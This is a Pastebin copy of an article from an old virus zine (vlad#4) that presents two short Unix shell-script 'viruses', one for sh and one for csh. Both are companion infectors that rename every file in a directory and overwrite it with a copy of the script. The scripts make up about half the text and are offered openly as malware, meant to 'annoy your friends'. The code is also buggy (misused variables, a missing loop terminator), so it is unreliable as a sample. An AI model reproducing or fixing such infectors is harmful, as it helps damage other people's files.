Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Lame Unix Viruses
- +---------------+
- Well, you might have read the title of this article and thought, well
- if the damn thing is lame.. why the fuck is it in vlad#4 ?! This can
- be answered quite simply, we had one free space! :) It was a bit of
- a dilemma to begin with, we had four articles and one space. The problem
- was they were all kinda lame. So it was a lame pick-of-the-month episode.
- Out of the four articles, this was the least lame. Well actually
- I don't know about that, but anyway, it was the most different one we
- had sitting there. Just to prove the title, the author of these
- masterpieces asked to remain anonymous to save his reputation.
- These "viruses" are the equivalent of a DOS batch file infector because
- they are written in shell language. They function similarly to companion
- infectors by renaming the original file and replacing it with themselves.
- Disinfection is simple by 'mv'ing (moving) the original files back.
- Anyway, perhaps someone is interested so here they are. There isn't
- much use for them except to annoy your friends when it messes up all
- the files in their directory.
- +-----------------------------------+
- #!/bin/sh
- # Dumb Unix Virus
- # I don't wanna write another dumb unix virus qark, I wont
- # Due to excess lameness, don't distribute
- #
- for files in *
- do
- if [ -x files ]
- then
- if [ ! -d files ]
- then
- mv files files.EVILVIRUS.HELPME
- cp $0 files
- chmod +x files
- files.EVILVIRUS.HELPME
- fi
- fi
- +-----------------------------------+
- cat << _EOF >unix.virus
- #!/bin/csh
- # Dumber Unix Virus
- # by
- # SumUtherGuy
- foreach i (*)
- mv $i bak.$i
- cp $0 $i
- i >> $i
- end
- _EOF
- +-----------------------------------+
Add Comment
Please, Sign In to add comment